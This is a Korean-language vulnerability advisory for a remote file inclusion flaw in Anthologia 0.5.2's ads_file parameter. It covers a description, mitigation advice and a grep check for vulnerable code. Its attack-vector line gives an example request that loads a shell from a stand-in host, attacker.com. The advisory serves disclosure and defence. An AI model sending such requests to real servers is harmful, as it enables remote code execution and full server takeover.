🇰🇷 한글 설명
Anthologia 0.5.2의 index.php에서 ads_file 파라미터를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 악의적인 원격 PHP 파일을 로드하여 서버에서 임의의 PHP 코드를 실행할 수 있습니다. 입력 검증 부재로 인해 외부 URL의 PHP 파일을 직접 포함할 수 있어 완전한 서버 장악이 가능합니다.
💡 쉬운 설명
Anthologia 웹사이트에서 '광고 파일' 부분에 다른 사이트의 악성 파일 주소를 입력하면, 그 파일이 실행되는 문제입니다. 공격자는 이를 이용해 웹서버를 완전히 제어할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in Anthologia 0.5.2 allows remote attackers to execute arbitrary PHP code via a URL in the ads_file parameter.
📍 영향받는 시스템
Anthologia 0.5.2 및 그 이전 버전
⚔️ 공격 벡터
ads_file 파라미터에 원격 PHP 파일 URL 전달 (예: index.php?ads_file=http://attacker.com/shell.php)
🛡️ 대응 방법
Anthologia를 패치 버전으로 업그레이드하거나, ads_file 파라미터에 대한 엄격한 입력 검증 및 화이트리스트 필터링 구현
🔧 검증 코드
결과가 출력되면 취약한 코드가 존재함을 의미하며, include/require 구문에서 필터링 없이 ads_file을 직접 사용하는지 확인합니다.
grep -r 'include.*ads_file\|require.*ads_file' /var/www/html/ 2>/dev/null | grep -v '.git' | head -1